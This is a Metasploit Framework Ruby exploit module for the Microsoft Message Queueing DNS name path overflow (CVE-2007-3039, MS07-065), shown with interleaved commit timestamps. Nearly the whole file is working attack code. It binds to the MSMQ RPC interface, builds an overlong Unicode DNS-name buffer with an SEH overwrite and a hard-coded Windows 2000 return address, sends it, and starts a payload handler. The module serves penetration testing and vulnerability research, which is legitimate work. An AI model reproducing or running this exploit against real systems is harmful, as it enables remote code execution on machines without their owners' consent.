2007-12-12 22:06:21 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-02-15 00:48:03 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-12-12 22:06:21 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-12-12 22:06:21 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2007-12-12 22:06:21 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2007-12-12 22:06:21 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-02-15 00:48:03 +00:00
|
|
|
super(update_info(info,
|
2007-12-12 22:06:21 +00:00
|
|
|
'Name' => 'Microsoft Message Queueing Service DNS Name Path Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the RPC interface
|
2007-12-12 22:06:21 +00:00
|
|
|
to the Microsoft Message Queueing service. This exploit requires
|
|
|
|
the target system to have been configured with a DNS name and
|
|
|
|
for that name to be supplied in the 'DNAME' option. This name does
|
2010-02-15 00:48:03 +00:00
|
|
|
not need to be served by a valid DNS server, only configured on
|
2007-12-12 22:06:21 +00:00
|
|
|
the target machine.
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2007-12-12 22:06:21 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2007-3039'],
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'OSVDB', '39123'],
|
2007-12-12 22:06:21 +00:00
|
|
|
[ 'MSB', 'MS07-065'],
|
|
|
|
],
|
2010-02-15 00:48:03 +00:00
|
|
|
'Privileged' => true,
|
2007-12-12 22:06:21 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
|
|
|
|
},
|
2010-02-15 00:48:03 +00:00
|
|
|
'Targets' =>
|
2007-12-12 22:06:21 +00:00
|
|
|
[
|
|
|
|
[
|
|
|
|
'Windows 2000 Server English',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Ret' => 0x75022ac4 # ws2help - pop/pop/ret
|
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Dec 11 2007',
|
|
|
|
'DefaultTarget' => 0))
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2007-12-12 22:06:21 +00:00
|
|
|
# Change the default port values to point at MSMQ
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(2103),
|
|
|
|
OptString.new('DNAME', [ true, "The DNS hostname of the target" ]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def autofilter
|
|
|
|
# Common vulnerability scanning tools report port 445/139
|
|
|
|
# due to how they test for the vulnerability. Remap this
|
|
|
|
# back to 2103 for automated exploitation
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2007-12-12 22:06:21 +00:00
|
|
|
rport = datastore['RPORT'].to_i
|
2010-02-15 00:48:03 +00:00
|
|
|
if ( rport == 445 or rport == 139 )
|
2007-12-12 22:06:21 +00:00
|
|
|
datastore['RPORT'] = 2103
|
|
|
|
end
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2010-02-22 22:27:15 +00:00
|
|
|
# The fqdn is required to exploit this bug
|
2007-12-12 22:06:21 +00:00
|
|
|
if (not datastore['DNAME'])
|
|
|
|
# XXX automatically determine the hostname
|
|
|
|
return false
|
|
|
|
end
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2007-12-12 22:06:21 +00:00
|
|
|
true
|
|
|
|
end
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2007-12-12 22:06:21 +00:00
|
|
|
def exploit
|
|
|
|
|
|
|
|
connect
|
|
|
|
print_status("Trying target #{target.name}...")
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2007-12-12 22:06:21 +00:00
|
|
|
handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
|
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
|
|
|
|
dname = datastore['DNAME']
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2007-12-12 22:06:21 +00:00
|
|
|
boom = rand_text_alphanumeric(4096)
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2007-12-12 22:50:54 +00:00
|
|
|
hname,domain = dname.split(".")
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2007-12-12 22:50:54 +00:00
|
|
|
if(not domain)
|
|
|
|
print_status("The DNAME parameter specified is not valid.")
|
|
|
|
print_status("This option must be the fully-qualified domain name of the target (as it has been configured).")
|
|
|
|
return
|
|
|
|
end
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2008-01-02 23:55:02 +00:00
|
|
|
off = 310 - (hname.length * 2)
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2007-12-12 22:06:21 +00:00
|
|
|
seh = generate_seh_payload(target.ret)
|
|
|
|
boom[off, seh.length] = seh
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2007-12-12 22:06:21 +00:00
|
|
|
buff = Rex::Text.to_unicode("#{dname}\\")
|
|
|
|
buff << boom
|
|
|
|
buff << "\x00\x00"
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2007-12-12 22:50:54 +00:00
|
|
|
# Data alignment
|
|
|
|
while(buff.length % 4 != 0)
|
|
|
|
buff << "\x00"
|
|
|
|
end
|
2010-02-15 00:48:03 +00:00
|
|
|
|
|
|
|
stubdata =
|
2007-12-12 22:06:21 +00:00
|
|
|
NDR.long(1) + # [in] long arg_1,
|
|
|
|
NDR.UnicodeConformantVaryingStringPreBuilt(buff) + # [in][string] wchar_t * arg_2,
|
|
|
|
NDR.long(0) * 5 # ... fields we can ignore
|
|
|
|
|
|
|
|
print_status('Sending exploit...')
|
|
|
|
|
2010-02-15 00:48:03 +00:00
|
|
|
begin
|
2007-12-12 22:06:21 +00:00
|
|
|
response = dcerpc.call(6, stubdata)
|
|
|
|
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
|
|
case dcerpc.last_response.stub_data
|
|
|
|
when "\x14\x00\x0e\xc0"
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("Error: The wrong value has been supplied for the DNAME parameter")
|
|
|
|
print_error("This value must be the fully-qualified domain name of the target")
|
|
|
|
print_error("Many systems have no FQDN configured and cannot be exploited")
|
2010-02-15 00:48:03 +00:00
|
|
|
else
|
2007-12-12 22:06:21 +00:00
|
|
|
print_status("An unknown response was received from the server:")
|
|
|
|
print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
|
|
|
|
end
|
|
|
|
end
|
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
|
|
print_status("No response from the DCERPC service (this is usually a good thing).")
|
|
|
|
end
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2007-12-12 22:06:21 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|
2010-02-15 00:48:03 +00:00
|
|
|
|